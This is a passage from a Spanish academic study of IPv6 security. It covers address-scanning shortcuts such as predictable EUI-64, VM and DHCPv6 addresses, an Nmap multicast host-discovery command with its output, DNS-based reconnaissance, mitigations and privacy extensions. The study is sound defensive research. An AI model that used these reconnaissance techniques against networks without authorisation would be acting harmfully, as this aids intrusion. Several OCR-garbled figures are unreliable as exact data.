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Resumen
El protocolo IPv6 fue desarrollado durante la década de los 90 con el fin de

sustituir a IPv4 como protocolo dominante en Internet. IPv6 soluciona los
problemas fundamentales de IPv4 y entrega una base para futuros desarrollos y
avances. Dentro de las ventajas de IPv6 se encuentran un gran numero de
direcciones disponibles, nuevas funcionalidades del protocolo ICMP, Ia
autoconfiguracion de direcciones, cambios en la estructura del paquete IP, en

particular, lo referido a las cabeceras de extensién.

A lo largo del trabajo, se irdn contemplando cada una de las mencionadas
caracteristicas, teniendo como eje de andlisis las implicancias de seguridad que
involucran cada una de ellas. Debido al corto tiempo de vida del protocolo, a la
inmadurez de sus implementaciones, a fallas propias en su desarrollo y a la falta de
adecuacion a los estandares de los fabricantes de hardware o software, existen un
gran numero de vulnerabilidades. Estas pueden ser explotadas por herramientas
disponibles en Internet, cuyo uso no resulta complicado para usuarios poco

experimentados.

A fin de lograr una adecuada implementacion del nuevo protocolo, es
condiciéon fundamental tener un conocimiento preciso sobre el mismo, saber a qué
vulnerabilidades se expone, y a partir de esta informacién aplicar las mejores
practicas y estandares. De este modo se minimiza las implicancias de seguridad de

IPv6 sobre la infraestructura de red de una organizacion.

Palabras claves: IPv6, seguridad, vulnerabilidades, buenas practicas.
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1-INTRODUCCION

1 INTRODUCCION

El protocolo IPv4 nacido en la década de los 70°, se vio superado
principalmente por el explosivo incremento de los usuarios de Internet, dejando al
descubierto su reducido niumero de direcciones y problemas estructurales. Es asi
como surge el protocolo IPv6 que intenta ser la alternativa que soluciona esta
problematica y ofrece nuevas funcionalidades.

La implementacion del protocolo IPv6 es un proceso que se esta
desarrollando muy lentamente. Actualmente se pretende ingresar en una fase de
transicion donde coexistirdn ambos protocolos hasta alcanzar la migracidn
definitiva (esto no significa que sistemas IPv4 dejaradn de existir). Existen muchos
interrogantes y dudas acerca de la verdadera seguridad que ofrece IPv6,
fundamentalmente basados en la falta de conocimiento sobre el tema.

Por otro lado, al ser IPv6 un protocolo con un escaso tiempo de vida, lleva a
qgue los expertos en la materia tengan poca experiencia sobre él. En un primer
momento surgirdn muchos problemas de seguridad asociados tanto con una
incorrecta puesta en funcionamiento como a problemas relacionados con

vulnerabilidades propias del protocolo.

1.1 Objetivos y alcance

El trabajo tiene por objetivo principal investigar las implicaciones de
seguridad de la implementacién del protocolo IPv6 que afecta a las organizaciones,
teniendo en cuenta que pueden mejorar los niveles de seguridad actuales o generar

nuevas brechas.

1.2 Estructura del trabajo

El documento esta dividido por capitulos, cada uno presenta un marco
tedrico que contempla una nueva funcionalidad del protocolo, asi como también,
las vulnerabilidades que traen aparejadas, ataques que pueden realizarse,
culminando luego con buenas practicas para su puesta en produccion.

En el primer capitulo se brinda un breve panorama de la actualidad de

IPv6, los objetivos que se buscan en el desarrollo del trabajo y su estructura.

“Analisis de Seguridad en el protocolo IPv6” 1



1-INTRODUCCION

En el segundo capitulo, se describe el nuevo direccionamiento IPv6,
indicando los tipos de direcciones, y haciendo foco en el proceso de escaneo de
redes, tanto local como remoto.

En el tercer capitulo, se presentan aspectos relacionados con la privacidad
en IPv6 al emplear el mecanismo de autoconfiguracién de direcciones, las
limitaciones que posee y algunas propuestas de mejora del mismo.

El cuarto capitulo detalla las particularidades de la nueva estructura del
paquete IPv6, sobre todo en lo que respecta a las cabeceras de extension. Se
muestran pruebas de concepto que explotan algunas de sus vulnerabilidades.

En el quinto capitulo se presentan las nuevas caracteristicas del protocolo
ICMP y su importancia en el proceso de descubrimiento de nodos vecinos. Dicho
proceso cuenta con numerosas vulnerabilidades cuya explotacion se muestra a
través de distintas pruebas.

En el sexto capitulo se realiza una resefa del protocolo IPSec, explicando
sus modos de funcionamiento y dando una visién de su actual utilizacion.

En el séptimo capitulo se brindan algunas caracteristicas adicionales de
IPv6, por ejemplo las implicancias en las conexiones extremo a extremo o el empleo
de mecanismos de NAT.

Finalmente en el capitulo ocho, se encuentran las conclusiones finales y

recomendaciones surgidas como resultado de la investigacion.

“Analisis de Seguridad en el protocolo IPv6” 2



2 — DIRECCIONAMIENTO IPV6

2 DIRECCIONAMIENTO IPV6

El direccionamiento en IPv6 [1], tiene 128 bits de longitud y se lo escribe
usando la notacion hexadecimal delimitada por el caracter dos puntos. Una
direccién IPv6 estd compuesta por ocho grupos de cuatro digitos hexadecimales,
cada grupo representando 16 bits (2 bytes).

En una direccién IPv6 se pueden distinguir tres elementos componentes:

1. El prefijo de red es el conjunto de bits de mayor orden, usados para
identificar una red especifica y en algunos casos, indicar el tipo de direccidn.

2.  Elidentificador (ID) de subred indica un enlace hacia un sitio. EI ID de
subred es asignado por el administrador del sitio y puede darse la situacion de que
un sitio tenga multiples IDs.

3. El ID de host de una direccion permite diferenciar un host de otro
dentro de una misma red.

La Fig. 1 muestra la estructura de una direccion IPv6:

—32 bits—* 96 bits »
2001:0db8: 9095:02e5: 0216:caff:feb2:7856
Prefijo de red ID de subred ID de host

Fig. 1 - Estructura de una direccion IPv6

Las direcciones IPv6 pueden ser escritas usando caracteres en mayuscula
como en minuscula. Por otro lado, es posible aplicar reglas de abreviaturas para
facilitar la escritura y memorizaciéon de direcciones muy extensas. Esta permitido
omitir los ceros a la izquierda de cada bloque de 16 bits, y también reemplazar una

cadena de ceros por el caracter ::

2.1 Representacion con prefijos

En las direcciones IPv6, los prefijos contindan escribiéndose del mismo
modo que en IPv4 [1], empleando la notacién CIDR. Esta notacién se representa
utilizando la forma “direccién IPv6/tamafio del prefijo”, donde tamario del prefijo es
el valor en decimal que indica la cantidad de bits contiguos a la izquierda de la
direccién que forman parte del prefijo. Por ejemplo, a continuacién se utilizan 64

bits que sirven para identificar la subred: 2001:DB8:3003:2::/64

“Analisis de Seguridad en el protocolo IPv6” 1



2 — DIRECCIONAMIENTO IPV6

2.2 Tipos de Direcciones IPv6

En IPv6 se han definido tres tipos de direcciones [1]:

1.  Unicast': /dentifica una Unica interfaz, de modo que un paquete

enviado a una direccidn unicast se entrega a una sola interfaz.

1.1.

1.2.

1.3.

Global Unicast’: Equivalente a las direcciones IPv4 publicas, las
direcciones global unicast son globalmente ruteables y accesibles
en Internet IPv6.

Link-Local®: sélo pueden utilizarse en el enlace en cual la interfaz
se encuentra conectada, este tipo de direccion es atribuida
automaticamente usando el prefijo FE80::/64. Los 64 bits
reservados para identificar la interfaz se configuran utilizando el
formato IEEE-EUI 64°. Los routers no deben encaminar paquetes
cuyo origen o destino sea una direccidon link-local hacia otros
enlaces.

Unique Local Address > (ULA): Direcciébn con grandes
probabilidades de ser globalmente Unica, utilizada solamente para
comunicaciones locales, generalmente dentro de un mismo enlace
o conjunto de enlaces. Una direccién ULA no debe ser ruteable en

Internet global.

2. Anycast6: Identifica un conjunto de interfaces. Un paquete enviado a

una direccion anycast se entrega a la interfaz perteneciente a este conjunto mas

préoxima al origen (de acuerdo con la distancia medida por los protocolos de

encaminamiento).

3. Multicast’: También identifica un conjunto de interfaces, pero un

paquete enviado a una direccion multicast se entrega a todas las interfaces

asociadas a esa direccion.

! Unicast: Unidifusion

? Global Unicast: Unidifusion Global

? Link-Local: Enlace Local

* [EEE-EUI 64: 1EEE Extended Unique Identifier64-bit: Identificador Unico Extendido de 64 bits del
Instituto de Ingenieros Eléctricos y Electrénicos

> Unique Local Address: Direccién Local Unica

® Anycast: Cualquier difusién

’ Multicast: Multidifusién

“Analisis de Seguridad en el protocolo IPv6”



2 — DIRECCIONAMIENTO IPV6

2.3 IPv6y el escaneo de redes [2] [3]

IPv6 ofrece un espacio de direccionamiento mayor que IPv4. El estandar de
tamafio de subred /64 tiene tedricamente una capacidad para alojar alrededor de
1844 x 10 719 hosts, que resulta en una densidad de host muy baja. Por ello, en
general se piensa que se necesita un gran esfuerzo para realizar ataques de escaneo
de direcciones IPv6, considerandose casi inviables. A continuacion se explican
algunos modos que IPv6 ofrece para configurar direcciones y como pueden ser

usados para facilitar el escaneo de redes.

2.3.1 Configuracion de direcciones en IPv6

Existen dos mecanismos de configuracién automatica: StatelLess Addres
Auto-Configuration (SLAAC) [4], y Dynamic Host Configuration Protocol versidon 6
(DHCPv6) [5]. Aunque SLAAC es el mecanismo mandatorio y DHCPv6 es opcional,
ambos mecanismos son soportados por la mayoria de los sistemas operativos.
Ademads de los citados mecanismos, un host puede obtener IP a través de una

configuracion manual.

2.3.1.1 StatelLess Address Auto-Configuration

Cuando un host se une a una red, envia una solicitud de informacion de
configuracion de red a los routers, quienes responden con un mensaje que contiene
los prefijos IPv6. Estos seran usados por los host para configurar su direccion IPv6
en la red local, al que se debe afiadir su correspondiente identificador de interface

(D).

2.3.1.2 IEEE Extended Unique Identifier 64-bit

Algunas tecnologias generan un |ID de 64 bits basados en la direccién de la
capa de enlace de la correspondiente placa de red. Por ejemplo en el caso de una
direccién Ethernet, los IIDs se construyen de la siguiente manera [1]:

e El llamado bit U/L (Universal/ Local bit), que corresponde al bit nimero 7

considerando de izquierda a derecha en una direccién, es seteado en 1.

“Analisis de Seguridad en el protocolo IPv6” 3
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e La palabra Oxfffe es insertada entre el Organizationally Unique ldentifier
8(0UI) y el resto de la direccién Ethernet.
Por ejemplo con la direccién MAC 48-1E-C9-21-85-0C se construird una IID
4A1E:CIFF:FE21:850C, como se observa en la Fig. 2:

Direccién MAC ’ 48 l 1E ’ Cc9 | 21 I 85 ’ oc ‘

L

v /

Direccién EUI-64 __— |
=S 1€ | co z1’ss‘oc,

T T A
Bit U/L
1

Identificador de Interfaz

A | 1E | oo | FF | ke 21’85‘oc|

Fig. 2 - Construccion de un Identificador de Interfaz basado en capa de enlace

Se deben tener en cuenta una serie de consideraciones de seguridad en
relacién con este tipo de identificadores. En primer lugar, el universo de busqueda
de posibles 1IDs se ve reducido, ya que usando el algoritmo anterior, se encuentran
fijos los bytes 4 y 5, resultando los valores Oxff y Oxfe.

En segundo lugar, los tres primeros bytes corresponden al OUI de la
interface de red de cada fabricante. Dado que no todos los OUls fueron asignados,
esto reduce aln mas el universo de busqueda de 1IDs. Por otro lado, de los OUls
asignados, muchos podrian corresponderse a equipos heredados, que no serdn
usados para conectarse a Internet a través de sistemas con IPv6 habilitado.

Finalmente en algunos escenarios es posible descubrir la OUI en uso por los
dispositivos de red, reduciendo todavia mas el nimero de IIDs posibles.

Estas consideraciones significan que en algunos escenarios, el espacio de
busquedas de 1IDs se ve reducido a 2224 o n*2724 (donde n es el numero de OUls
diferentes asignados a los fabricantes.) [2]

Otro caso para tener en cuenta es el uso de tecnologias de virtualizacion,
ya que emplean generalmente direcciones MAC con patrones especificos. Por

ejemplo todas las direcciones MAC generadas en un entorno virtualizado con

® Organizationally Unique Identifier: Identificador Unico de Organizacién

“Analisis de Seguridad en el protocolo IPv6” 4



2 — DIRECCIONAMIENTO IPV6

VirtualBox utilizan el OUI 08:00:27. Esto significa que todas las direcciones
asignadas mediante SLAAC, tendran IID de la forma a00:27ff:feXX:XXXX, reduciendo
el universo de direcciones de 64 bits a 24 bits.

Los servidores VMWare ESX, generan las direcciones MAC utilizando el
siguiente patron:

e  EIOUIl es fijado en 00:05:59

e Los siguientes 16 bits de la direccién MAC son fijados con el mismo valor
que los ultimos 16 bits de la direccidn IPv4 del sistema operativo de la
consola.

e  Los ocho bits finales de la direccion MAC son fijados usando un valor de
hash basado en el nombre del archivo de configuracion de la maquina
virtual.

Entonces si se asume que la direccién IPv4 del sistema operativo de la
consola es conocida, el universo de busqueda de direcciones se reduce de 64 bits a
8 bits.

Por otro lado las direcciones MAC son configuradas manualmente en un
servidor VMWare ESX emplea como OUI a 00:50:56, con los 3 bytes de menor orden
contenidos en el rango 0x000000-0x3fffff (para evitar conflictos con otros
productos de VMware). Es asi que de este modo el universo de busqueda de

direcciones se reduce de 64 bits a 22 bits. [2]

2.3.1.3 Dynamic Host Configuration Protocol

DHCPv6 [5] es un protocolo en el que un servidor otorga direcciones IPv6 a
hosts dentro de un rango especifico y teniendo en cuenta ciertas politicas. Al ser las
direcciones asignadas en forma secuencial, son propensas a ser predecibles.

Por ejemplo si el prefijo 2001:db8::/64 es usado para asignar direcciones
en la red local, el servidor DHCPv6 debe asignar (secuencialmente) direcciones
desde el rango 2001:db8::1 a 2001:db8::100. En escenarios normales, esto significa
que el universo de busqueda de IID se ve reducido de sus 64 bits originales hasta los

8 0 16 bits.
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2.3.1.4 Direcciones correspondientes a Mecanismos de Transicion

Algunas tecnologias de transicién/coexistencia pueden ser usados para
reducir el universo de busqueda en escaneos de direcciones, ya que especifican
cémo deben ser generadas las direcciones IPv6. Por ejemplo, en el caso de Teredo
[6], los 64 bits correspondientes al IID son generados a partir de la direccion IPv4

observada en el servidor Teredo.

2.3.1.5 Direcciones configuradas manualmente

En algunos escenarios, las direcciones de los nodos deben ser configuradas
manualmente. Tal es el caso de asignacion de direcciones a router que no emplean
métodos automaticos. [2]

Mientras los administradores de red tengan la libertad de seleccionar el IID
de cualquier rango de 1 — 2764, para ganar en simplicidad (facil de memorizacién),
tienden a seleccionar direcciones con algunos de los patrones siguientes:

e Direcciones de “Byte-Bajo”: en la cual todos los bytes del IID (excepto los
inferiores) son fijados en 0.

e Direcciones basadas en IPv4: en la cual el IID enmascara la direccién IPv4 de
la interface

e Direcciones que enmascaran palabras (Wordy): por ejemplo
2001:db8::dead:beef

Los primeros dos patrones reducen el universo de busqueda de direcciones
de los 64 bits originales hasta los 8 bits, asumiendo que el rango de direcciones IPv4
es conocido. Por otro lado, el universo de busqueda en el caso de direcciones que
enmascaran palabras es probablemente mds complejo pero aun estaria reduciendo

los 64 bits originales.

2.3.1.6 Otros tipos de direcciones

Para intentar solucionar problemas de privacidad en IPv6 en la asignacién
de que generan los IIDs (ver seccion 3), existen implementaciones basadas en las
denominadas “Extensiones de privacidad para la configuracién automatica de

direcciones en IPv6” [7], que produce direcciones aleatorias, concatenando un
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identificador aleatorio con el prefijo de red autoconfigurado propagado por el

router.
2.3.2 Asignacion de direcciones IPv6 en escenarios de red del
mundo real

La Tabla 1y Tabla 2 proveen un breve resumen de los resultados obtenidos
por Malone [8] para clientes y routers IPV6. Estos resultados son presentados por

ser la medicion mds completa disponible publicamente.

Tipo de Tipo de

Direccién Porcentaje Direccion Porcentaje
Byte - Bajo 70% Byte - Bajo 70%
Basadas en IPv4 5% Basadas en IPv4 5%
SLAAC 1% SLAAC 1%
Wordy <1% Wordy <1%
Privacidad <1% Privacidad <1%
Teredo <1% Teredo <1%
Otras <1% Otras <1%

Tabla 1 - Medida de direcciones en clientes Tabla 2- Medida de direcciones en servidores

2.3.3 Escaneo de direcciones IPv6 en redes remotas

Mientras que en redes IPv4 se podria aplicar un escaneo de host remos
usando distintas técnicas de “Fuerza bruta”, un ataque exitoso hacia IPv6 es
practicamente inviable. Es por ello que un atacante tomara ventaja de los patrones
de direcciones que se vieron en secciones anteriores.

El escaneo de direcciones IPv6 de una red remota deberia considerar un
factor que no esta presente en el caso de IPv4: dado que una subred IPv6 es /64, un
escaneo de la totalidad de los /64 posibles direcciones, en teoria conducirian a la
creacion de 2764 entradas del Neighbor Cache®del ultimo router. Muchas
implementaciones IPv6 son incapaces de manejar tal cantidad de entradas en el
Neighbor Cache, y de hecho este ataque de escaneo de direcciones puede tener

como consecuencia un ataque de Denegacion de Servicio (DoS) [9].

9 . . . .
Neighbor Cache: Cache de Vecinos: contiene una entrada por cada vecino a los cuales el nodo le ha
enviado trafico recientemente.
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2.3.4 Escaneo de direcciones IPv6 en redes locales.

La principal diferencia de un escaneo de direcciones de redes remotas y
locales, consiste en que en ésta ultima el uso de direcciones link-local multicast
puede facilitar al atacante la busqueda de direcciones unicast en el largo espacio
direcciones IPv6.

Desde que los sistemas operativos Windows (a partir de Vista), no
responden por defecto los mensajes ICMPv6 enviados a las direcciones multicast,
las herramientas de escaneo en IPv6 utilizan paquetes adicionales de prueba para
provocar la respuesta de los nodos locales.

El programa Nmap [10] se basa en cuatro técnicas para el descubrimiento
de host (que pueden ser usadas en forma aislada o en simultaneo para lograr mayor
efectividad). Las mismas son las siguientes:

e Targets-ipv6-multicast-echo™: envia paquetes de solicitud de eco ICMPv6
(ver Capitulo 5) con destino hacia la direccion link-local multicast
(ff00::1).Cuando un paquete de respuesta de eco ICMPv6 es recibido, se
registra la direccion IPv6 origen y se lo marca como un objetivo posible. Es
una técnica sencilla y eficaz.

e Targets-ipv6-multicast-invalid-dst'': envia paquetes ICMPv6 con cabeceras
de extensién invdlidas (ver Capitulo 5) hacia la direccién link-local multicast.
Cualquier host que responda con un paquete ICMPv6 de problemas de
parametros es marcado como activo.

e Targets-ipv6-multicast-mld*?: intenta descubrir hosts IPv6 disponibles en la
red LAN enviando consultas MLD (Multicast Listener Discoveryl3) con
destino hacia la direccién link-local multicast y procesa las respuestas. El
tiempo de demora maxima de respuesta a la consulta es cercana a O,
provoca que los host respondan inmediatamente en lugar de esperar por

otras respuestas del grupo multicast.

10 Targets-ipv6-multicast-echo: Objetivos IPv6 a través del uso de eco de multidifusién.

" Targets-ipv6-multicast-invalid-dst: Objetivos IPv6 a través de la multidifusion con destinos
invalidos

2 Targets-ipv6-multicast-mld: Objetivos IPv6 a través del uso del descubrimiento de oyente del
grupo de multidifusion.

* Multicast Listener Discovery: Descubrimientos de oyentes de multidifusién, el protocolo no es
objeto de estudio del presente trabajo.
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e Targets-ipvb-multicast-slaac

envia

paquetes

ICMPv6

Router

Advertisement (RA) (Ver Capitulo 5) con prefijos de direcciones aleatorios,

causando que los host comiencen el proceso de SLAAC y envien una solicitud

para su nueva direccién. Se puede inferir la direccién remota combinando el

prefijo link-local con el identificador de interface en cada solicitud recibida.

Mediante la ejecucion del siguiente comando, como se muestra en la Fig. 3

rootE0buntu:~% nmap -v -n —-3n —-sScript targets-ipve-\*¥

Nmap

lanza

las

Fig. 3 - Ejecucion de Nmap

cuatro

técnicas

de

descubrimiento

descriptas

anteriormente. Y entrega como resultado la informacién mostrada en la Fig. 4

Starting MNmap 6.25

N5
N5

Pre-scan script results:

{ http://nmap.org )
E: Loaded 4 =scripts for =scanning.

E: Script Pre-scanning.
Initiating NS5E at 01:36
Completed W5E at 01:36,

10.662 elapsed

targets-ipve-multicast—-echo:
120c:29ff: feab:alsa
fe20::20c:29ff:fea3:2efc
Use —-script-args=newtargets to add the results as targets
targets-ipve-multicast-invalid-dst:

IFE:
IFE:

IF: fe80::20c:29ff:feab:alfba HMAC: 00:0c:29:ab:al:5a IFLACE:
IF: feB80::20c:29ff:fea3d:2efc HMAC: 00:0c:29:a3:2e:fc IFLCE:
IF: fe80::100 MAC: 00:50:56:c0:00:07 IFACE:
Use —-script-args=newtargets to add the results as targets
targets-ipve-multicast-mld:
IP: feB80::9570:d3d8:albc:fbcd MAC: 00:0c:29:26:12:1e IFACE:
IF: fe80::100 MAC: 00:50:56:c0:00:07 IFACE:
IF: fe80::20c:29ff:fea3:2efc MAC: 00:0c:29:a3:2e:fc  IFACE:
Use —-script-args=newtargets to add the results as targets
targets-ipve-multicast-slaac:
IF: feg80::20c:29ff:feab:alba MAC: 00:0c:29:ab:al:5a IFACE:
IF: feB80::f112:115e:42b3:e000 MAC: 00:50:56:cD:00:07 IFACE:
IF: feB80::ef966:6eT7e:2dd8:2701 MAC: 00:50:56:c0D:00:07 IFACE:
IF: feg80::9570:d3d8:albc:fbcd MAC: 00:0c:29:26:12:1e IFACE:
IF: feg80::fck5:d45c:Tbhbfcic53d MAC: 00:0c:29:26:12:1e IFACE:
IF: fe80::20c:29ff:fea3:2efc MAC: 00:0c:29:a3:2e:fc  IFACE:
Use —-script-args=newtargets to add the results as targets

feld0:

NEE: Script Post-scanning.

WAENING: Mo targets were specified,

Hmap done: 0 IP addresses

MAC:
MAC:

(0 hosts up)

at 2013-03-06 01:36 ART

00:0c:29:ab:al:5a
00:0c:29:a3:2e:fc

20 0 hosts scanned.

IFACE:
IFACE:

scanned in 10.52 seconds

REaw Eackets zent: 0 (0OB) | Rewd: O

herramienta Nmap.

Fig. 4 - Resultado de Nmap

(0B)

% Targets-ipv6-multicast-slaac: Objetivos IPv6 a través del uso de SLAAC de multidifusién.
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Source Destination Length Protocol  Info
feB0::20c:29ff:fe89:8a08 82 1tMPv6  Echo (ping) request d=0x0005, seq=6

fe80::20c:20ff:feab:a0%a  fe80::20c:29ff:fe89:8208 82 ItMpvb Echo (ping) reply id=0x0003, seq=6
feB0::20c:29ff:fead:2efc  feB0::20c:29ff:feB9:8a08 82 ICMPvE Echo (ping) reply 1d=0x0003, seq=6

Fig. 5 - Targets-ipv6-multicast-echo

Source Destination Length Protocel  Info
fe80::20c:29ff:feB0:8a08  ff02::1 70 TcMPvE  Unknown (254)

Fig. 6 - Targets-ipv6-multicast-invalid-dst

Source Destination Length Protocol  Info

fed0::20c:20f:feB9:8208  ff02::1 110 TcMpv6  Router Advertisement from 00:0c:29:89:8a:08

i ff0z2::1:ffab:a03a 78 IcMpve  Neighbor solicitation for fcd2:73e2:62e9:0:20c:29ff:feab:a03a
ff02::1:ffb3:2000 78 IcMPv6  Neighbor solicitation for fcd2:73e2:62e9:0:f112:115:4203:2000
ff02::1:ffd8:a701 78 IMPvE  Neighbor solicitation for fcd2:73e2:6ae9:0:e966:6e7e:2dd8:a701
ffo2::1:ffbc:fhed 78 ICMPvE  Neighbor solicitation for fcd2:73e2:6ae9:0:9570:d3d8:albc:fhed
ffoz2::1:fffc:cs3d 78 ICMPve  Neighbor solicitation for fcd2:73e2:6ae9:0:fch5:dd5c:7bfc:c33d

1:1:ffa3:2efc 78 ICMPv6  Neighbor solicitation for fcd2:73e2:6ae9:0:20c:29ff :fead:2efc

Fig. 7 - Targets-ipv6-multicast-slaac

Source Destination Length Protocol  Info

::20c:29ff:Te89:8a08 = 86 ICMPv6 Multicast Listener Query
fe80::20c:29ff:feab:a05a  ff02::16 90 ICMPv6 Multicast Listener Report Message v2
fe80::20c:29ff:feab:a05a  ff02::16 90 ICMPv6 Multicast Listenmer Report Message v2
fe80::9570:d3d8:albc:fhcd  ff02::1:ffbc:fbcd 86 ICMPv6 Multicast Listener Report
fe80::20c:29ff:fead:2efc  ff02::16 90 ICMPv6 Multicast Listener Report Message v2
fe80::20c:29ff:fead:2efc  ff02::16 90 ICMPve  Multicast Listener Report Message v2

Fig. 8 - Targets-ipv6-multicast-mlid

2.3.5 Mitigacion de ataques de escaneo de redes

Los ataques relacionados con escaneos de direcciones IPv6 pueden ser
mitigados teniendo presente algunas recomendaciones [2]:

e Empleo de direcciones de privacidad extendidas estables, en lugar de las
direcciones basadas en identificadores IEEE-EUI 64, de modo que algunos
patrones de direcciones sean eliminados (aunque su uso tendrd otros
problemas como se vera en secciones posteriores).

e Empleo de Sistemas de Prevencion de Intrusos (IPS) en el perimetro de la

red.
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e Sise emplean mdquinas virtuales, se deberia configurar la direccién MAC en
forma manual, ya que si la maquina virtual emplea IIDs con el formato de la
IEEE, sean generados por direcciones MAC no predecibles.

e Un administrador puede configurar DHCPv6, considerando que las primeras
direcciones asignadas al pool comience a una distancia considerable de la
direccién [prefijo]::1. Otro punto a tener en cuenta es que las direcciones no

sean secuenciales y no sigan ningun patrén.

2.3.6 Otras técnicas para el descubrimiento de direcciones [2]

e  Archivos Publicos: de listas de correo o archivos de noticias Usenet®
pueden ser poderosos canales para un atacante, ya que los nombres de
host y/o direcciones IPv6 pueden ser obtenidas facilmente inspeccionando

1 ,
€7 u otras lineas del

en algunos casos el campo “Received from
encabezado.

e Inspeccion del Neighbor Cache en IPv6 y de la tabla de ruteo: Esta técnica
es efectiva siempre que no se requiera credenciales de acceso para acceder
al sistema en la red destino.

e Inspeccidn de configuraciones del sistema y archivos de logs.

e  Obtencion de informacion de protocolos de ruteo: un atacante local
puede convertirse en un oyente pasivo de los mensajes intercambiados por
los protocolos de ruteo para determinar otras subredes validas dentro de
la organizacién.

e Empleo del DNS: Algunos hosts son publicados en el DNS (servidores de
correos o web). Es importante destacar que cuando las direcciones en un
sitio siguen patrones especificos, con la sola publicacién de una direccidn, se
produce una amenaza de que otros host sean descubiertos. En la Fig. 9,
observa un ejemplo de servidores IPv6, cuyas direcciones se encuentran
publicadas a través del servidor de DNS, mientas que en la Fig. 10, se aprecia

un ejemplo completo de un archivo de zona de IPv6.

> Usenet: http://www.usenet.net
'® Received from: “Recibido de”
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2881:1973:2383:1234::/64 -> nsl.example.com, ns2.example.com
2001:1973:2383:2345::/64 -> ns99.example2.com, nsl1e8.exampleZ.com
28081:1973:2363:4321::/64 -» nsl.custl.com, ns2.custl.com

Fig. 9 - DNS - Publicacién de direcciones

>
>
>

>

nsd.example.ca.
serial

refresh after 3 hours
retry after 1 hour
expire after 1 week

$TTL 3h
$0ORIGIN 3.8.3.2.3.7.9.1.1.6.8.2.ipb6.arpa.
@ IN SO0A ns3.example.ca.

2811671636

3h

1h

1w

1h )

>

negative caching TTL of 1 hour

NS ns3.example.ca.
NS nsd.example.ca.

4.3.2.1 IN NS nsl.example.com.
NS ns2.example.com.
5.4.3.2 IN NS ns99.exampleZ.com.
NS ns188.example2.com.

1.2.3.4 IN NS nsl.custl.com.
NS ns2.custl.com.

; This would be for 2861:1973
1.8.8.8 IN N5 nsl.example.org.
NS ns2.example.org.

; This would be for 2861:1973
8.1.6.8 IN NS nsl.example.org.
NS ns2.example.org.

; This would be for 28681:1973
8.8.1.8 IN NS nsl.example.org.
NS ns2.example.org.

; This would be for 2861:1973
8.8.8.1 IN N5 nsl.example.org.
NS ns2.example.org.

12363:1::/64

:2363:168::/64

12363:168:: /64

:2363:1688: : /64

Fig. 10 - Ejemplo DNS [11]

e Transferencia de Zona de DNS: puede proveer informaciéon sobre objetivos

de ataques potenciales. Restringiendo las transferencias de zona en IPv6 es

mas importante que hacerlo en IPv4, donde era considerado Unicamente

como buena practica.

° Mapeo reverso de DNS: Consiste en que un atacante, recorre la zona

“ipb.arpa” en busqueda de registros PTR, con la intencién de aprender las

direcciones de los host dentro de una red objetivo dada.

“Analisis de Seguridad en el protocolo IPv6”
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e  Resolucion de servicios y nombres locales: por ejemplo multicast DNS
(mDNS) y DNS Service Discovery (DNS-SD) o Link-Local Multicast Name
Resolution (LLNR) [12].
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3 ASPECTOS DE PRIVACIDAD RELACIONADOS CON IPVé6

Las interfaces que emplean el mecanismo de SLAAC, generan
identificadores de interfaces basados en IEEE EUI-64. Esto proporciona un fuerte
sustento para la unicidad, pero permite que una interface sea seguida “'incluso si se
mueve de una red hacia otra, o si su prefijo de red cambia.

Se podria considerar por ejemplo un dispositivo mévil que se conecte a
diferentes redes inaldmbricas desde distintas ubicaciones. Si estaria usando IPv4, el
dispositivo es probable que utilice el servicio de DHCP y reciba direcciones no
correlacionadas. Si emplearia la autoconfiguracion de IPv6, la direccién de la
interface wireless tendria el mismo IID en cada instancia. Incluso el IID generado por
la IEEE EUI-64, al estar basado en la direccion MAC, puede revelar de qué tipo de
dispositivo se trata.

Una interfaz que acepta conexiones entrantes y tiene un nombre de DNS
no puede tener una direccion “privada”, pero es posible que utilice diferentes
direcciones para las conexiones salientes. En el RFC, “Extensiones de privacidad
para Autoconfiguracion de direcciones sin estado en IPv6” [7] se define una manera
de generar y cambiar esas direcciones temporales. Es importante que la secuencia
de las direcciones temporales que una interface elige sea totalmente impredecible y
tenga una baja probabilidad de colisién con la eleccidon hecha por otras interfaces.

[13]

3.1 Extensiones de privacidad [13]

En [7] se especifica el algoritmo para generar y actualizar un identificador
aleatorio en reemplazo del formato de IEEE EUI-64. Como se muestra en la Fig. 11,
una funcién de Hash (el RFC sugiere el algoritmo MD?5) es utilizado para generar el
identificador de interface. Los primeros 64 bits de la salida son usados como el lID,
mientras que los ultimos 64 bits son almacenados para la préxima iteraciéon del
algoritmo, que se produce cada x cantidad de segundos (o cuando una direccidn
duplicada es detectada por el cliente), teniendo presente que los identificadores se

mantendran para antiguas conexiones hasta que sean cerradas y el identificador

17 7
En Inglés “tracked”.
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generado sera empleado para las nuevas conexiones. La primera iteracion de la
funcién emplea un valor aleatorio como valor histdrico.
El RFC también especifica que el bit 6 debe ser seteado en 0. Esto crea un

IID en el que el bit local/universal indica solo significado local.

0 63 {
Prefijo de Red | > Cadax
refij | Funcién Hash (MD5) ‘ segundos
0 63 |64 127
Identificador de Interface ‘ Valor Histdrico
Direccion|IPv6 Resultante
63 64 127
‘ ‘ | Prefijo de Red ‘ Identificador de Interface

/I\

Bit 6=0 indica ambito local

Fig. 11- Algoritmo para la generacion de direcciones de privacidad
3.1.1 Limitaciones de las direcciones de privacidad

Este mecanismo debe ser usado con moderada precaucidn, si es
implementado en forma completa trae algunas consecuencias [13]:

e La privacidad que “promete” es cuestionable. Especialmente en redes
pequefas que no presentan demasiados cambios, un individuo que observe
y capture trafico de la red puede correlacionar actividades con demasiada
precision, incluso si la direccion cambia o no en forma periddica. Un
observador puede determinar con qué frecuencia cada interface genera una
nueva direccién.

e En algunas redes, los administradores pretenden tener un mejor control de
los dispositivos que se conectan y qué direcciones usan y poder aplicar entre
otras cosas caracteristicas de calidad de servicio. Las politicas de seguridad
local pueden dictaminar que para fines de auditoria o de actividad forense,
todas las direcciones deben ser asignadas en forma centralizada y deben
tenerse registros de sus actividades. En esos casos, lo mds adecuado es no
utilizar ni las direcciones de privacidad ni SLAAC, pero requiere que se

emplee el servicio de DHCPv6 para la asignacién de direcciones.
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e En general, las politicas de seguridad empresariales no aplican el derecho de
comunicaciones privadas a usuarios que posean una computadora de la
compaiiia o accedan a la red corporativa. En esos casos, los objetivos de la
politica de seguridad de monitorear las actividades es mas importante que
proteger la privacidad del usuario mientras navega por Internet.

e Buenas practicas de redes recomiendan aplicar filtros de ingreso, es decir,
no permitir paquetes sin una direccion origen valida dentro del nucleo de la
red. Algunos ataques de DoS utilizan direcciones con origen falso pero con
un prefijo valido. En este caso las direcciones de privacidad no hacen mas
